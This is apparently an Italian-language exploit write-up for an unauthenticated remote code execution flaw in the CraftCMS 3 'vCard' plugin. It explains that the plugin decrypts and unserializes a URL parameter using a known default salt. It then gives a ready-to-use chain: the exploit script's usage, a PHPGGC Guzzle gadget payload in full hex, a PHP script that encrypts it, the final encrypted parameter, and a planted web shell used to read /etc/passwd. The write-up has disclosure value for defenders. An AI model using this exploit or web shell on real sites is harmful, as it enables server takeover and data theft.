
Questo repository contiene i dettagli di una vulnerabilità trovata nel plugin "vCard" per CraftCMS 3.
Craft CMS dispone di un plugin per scaricare contatti in formato file *.vcf chiamato "vCard". Il plugin può essere consultato nel repository di Craft e su Github: Craft Plugin Store Github
Questo plugin riceve un parametro inviato dal client, decripta il valore con openssl_decrypt e inserisce la stringa risultante nella funzione unserialize di PHP. Poiché il salt predefinito per la cifratura è disponibile nel repository, un attaccante può utilizzare la stessa logica per cifrare un payload serializzato dannoso.
Se l'utente ha configurato un valore "salt" modificato nelle impostazioni del plugin, questo dovrà essere fornito come parametro allo script Python. Tuttavia, questo valore rimarrà invariato se il plugin viene scaricato dallo store o semplicemente clonando il repository. Non c'è alcuna opzione per modificarlo tramite la GUI web di Craft.
Esegui lo script fornendo il link vCard che attiva il download dei contatti. Rimuovi il valore del parametro vcard.
Il parametro da passare allo script sarebbe quindi: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a
È disponibile un valore salt opzionale che può essere fornito. Tutte le opzioni sono mostrate qui:
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin
optional arguments:
-h, --help show this help message and exit
-u URL The URL for the vCard download without the vCard value Example:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT Security key required for encrypting payload. Defaul is
's34s4L7'
-f FNAME File path/name to use as value in upload path: ./<value> . Use a
PHP extension. Default value is 'shell.php'
Lo script Python è stato testato su Python 3.6
Lo script eseguirà un comando PHP sull'host dell'attaccante per cifrare il payload. Di conseguenza, sarà necessario avere php-cli installato. Questo attacco è stato testato con PHP 7.2-cli e PHP 7.3-cli
Ecco un estratto del punto in cui il codice esegue la unserialize in modo non sicuro (VCardService.php:297) Github:
public function decodeUrlParam($optionsString = "")
{
$optionsString = $this->decrypt($optionsString);
$options = unserialize($optionsString);
return $options;
}
Il parametro $optionsString è il valore del parametro URL "vcard" fornito dal client. Viene passato attraverso la funzione decrypt e poi deserializzato. Se il client può replicare la cifratura, questo codice diventa vulnerabile poiché deserializza direttamente dati forniti dall'utente.
Ecco la funzione di cifratura in questione (VCardService.php:306) Github:
protected function encrypt($string)
{
$key = VCard::$plugin->getSettings()->salt;
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
return rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
}
L'unico valore che un attaccante deve conoscere è la variabile $key impostata da "VCard::$plugin->getSettings()->salt". Il valore predefinito può essere visto nel repository come "s34s4L7" (config.php:26) Github
Supponendo che venga usato il salt predefinito, un attaccante può forzare la deserializzazione di qualsiasi classe nell'installazione di Craft.
Dobbiamo trovare una classe "gadget" nell'installazione predefinita di Craft che possa essere usata per scopi dannosi. Esaminare quali classi hanno le funzioni magiche __destruct o __wakeup fornisce una lista abbastanza ridotta da analizzare. Questo può essere fatto usando "grep -rni < percorso della web root > -e '__destruct'"
guzzlehttp ha una classe chiamata "FileCookieJar" che sembra salvare un file usando un attributo della classe come nome del file:
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38: public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39- {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40- $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41- }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-
L'analisi della funzione save mostra che scrive dati su un percorso di file di sistema; sia il percorso che i dati sono attributi della classe e sotto il controllo dell'attaccante. Ha senso che, quando l'oggetto di questa classe viene distrutto, scriva tutti i cookie che possedeva nell'attributo del nome file, per essere recuperati o usati in seguito. Ecco il contenuto della funzione save, con file_put_contents come nostro obiettivo (FileCookieJar.php:52) Github:
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
Fortunatamente, non dobbiamo fare tutto il lavoro manuale per costruire da soli il payload dannoso. Il meraviglioso strumento PHPGGC automatizza la serializzazione di una classe Guzzle con un payload da usare in questo exploit.
Ho usato lo strumento per creare questo payload di base per lo script di exploit, anche se verrà leggermente modificato in base al nome del file. Inoltre, è importante notare che se si genera un nuovo payload con PHPGGC, il parametro "-f" deve essere usato, altrimenti la funzione magica __destruct non verrà eseguita:
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}
Il contenuto di sample.txt è:
<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
Attenzione: un normale copia e incolla non funzionerà qui, perché nella classe serializzata ci sono byte nulli che devono essere presenti affinché gli attributi vengano mappati correttamente. Ho dovuto convertire l'output grezzo dello strumento in esadecimale e poi riconvertirlo in stringa replicando il processo di cifratura. Ecco la bash usata per ottenere il payload esadecimale.
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a
Potrebbe esserci un byte "0A" alla fine del payload generato. In tal caso, rimuovilo. In ogni caso, ora che abbiamo un payload da PHPGGC e lo abbiamo convertito in esadecimale, dobbiamo cifrarlo prima di inviarlo alla funzione vulnerabile del plugin. Copiando la logica della funzione di cifratura vCard menzionata in precedenza, dobbiamo solo convertire il payload esadecimale e cifrarlo. Ecco lo script PHP che ho usato:
<?php
$string = hex2bin("613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d");
$key = "s34s4L7";
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
$string2 = rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
echo "Encrypted parameter:\n" . $string2 . "\n\n";
?>
E l'output risultante:
craft@craftcms:/var/www/vendor/nfourtythree/vcard/src/services$ php encrypt.php
Encrypted parameter:
cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY
Finalmente! Ora che abbiamo il nostro payload, dobbiamo solo inviarlo in una richiesta e la shell sarà disponibile. Il link per un download vCard valido varierà. Ecco un esempio dal mio ambiente di test:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
Il valore del parametro vcard viene rimosso e sostituito con il nostro payload dannoso:
La stringa passa come $optionsString, viene decriptata e poi deserializzata, causando un errore interno del server. Esaminando il file system del server web di test si vede che è stato creato un nuovo file shell.php:
craft@craftcms:/var/www/html$ ls
cpresources index.php shell.php web.config
craft@craftcms:/var/www/html$ cat shell.php
[{"Expires":1,"Discard":false,"Value":"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>\n"}]
craft@craftcms:/var/www/html$
Visitando http://craftcms/shell.php nel mio browser, ora posso passare comandi di sistema tramite il parametro GET cmd.
Esempio: http://craftcms/shell.php?cmd=cat%20/etc/passwd
[{"Expires":1,"Discard":false,"Value":"<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
Generazione di gadget PHP: https://github.com/ambionics/phpggc
Plugin vCard: https://github.com/nfourtythree/craft3-vcard
Craft CMS: https://craftcms.com/
Documentazione di unserialize: https://www.php.net/manual/en/function.unserialize.php